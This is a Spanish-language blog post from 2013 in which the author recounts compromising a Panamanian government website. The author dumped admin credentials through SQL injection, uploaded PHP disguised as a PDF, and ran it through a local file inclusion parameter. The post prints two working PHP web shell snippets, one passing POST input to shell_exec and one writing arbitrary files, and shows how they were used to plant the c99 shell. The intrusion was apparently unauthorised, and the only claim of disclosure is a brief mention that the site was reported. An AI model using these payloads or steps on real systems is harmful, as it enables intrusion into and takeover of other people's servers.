viernes, 15 de noviembre de 2013

Subiendo Shell Gracias a un LFI

En esta oportunidad les compartiré una experiencia en una web .gob.pa.

VULNERABILIDADES: 
-Sql Injection
-LFI (Local File Inclusion)

Obtuve los datos de la web por el sqli y hago login como admin en busca de lo de siempre un uploader, tuve la suerte de encontrar 2.
1º- uploader de imagenes intente varias formas de bypass ,la imagen subida era renombrada con extension .jpg y también la limpiaba......
2º- uploader de documentos pdf (este uploader me sirvio)

El uploader renombraba los archivos.
subí un archivo de texto con extensión .pdf para luego llamarlo con el LFI,
lastimosamente no paso nada pero como el que la sigue la consigue subí un archivo con código php.

llamando al archivo con código php:
-index.php?contenido=pdf_etc/7d148b.pdf
el resultado fue satisfactorio así que subí un archivo con el código de una web shell la muy conocida c99.

Así se veía la shell:


Por desgracia la web shell nunca terminaba de cargar y no me dejaba interactuar.
Por alguna razón no me dejaba subir otras shells por raro que parezca.




Entonces subí
un archivo con el siguiente código:
<?php $var=$_POST['cmd']; echo shell_exec("$var"); ?>
llamando al archivo por LFI:
-index.php?contenido=pdf_etc/7d148b.pdf.
Se ejecuto de forma exitosa me puse a revisar un poco y crear
archivos con el comando touch.
También intente  descargar un archivo con wget pero no se pudo.



Ahora subí otro código:
<?php $var=$_POST['id'];$text=$_POST['text'];$fp = fopen("$var", 'w');fwrite($fp, "$text");fclose($fp); ?>

Este código me permitio crear un archivo y al mismo tiempo escribirlo.
asi que en el contenido le puse el codigo de un uploader sin restricciones y al archivo le di extensión .php, el uplaod se veía así:


Subió la shell de forma exitosa y solo quedo entrar directamente a la shell.

La web fue reporta como debe ser.........




No hay comentarios:

Publicar un comentario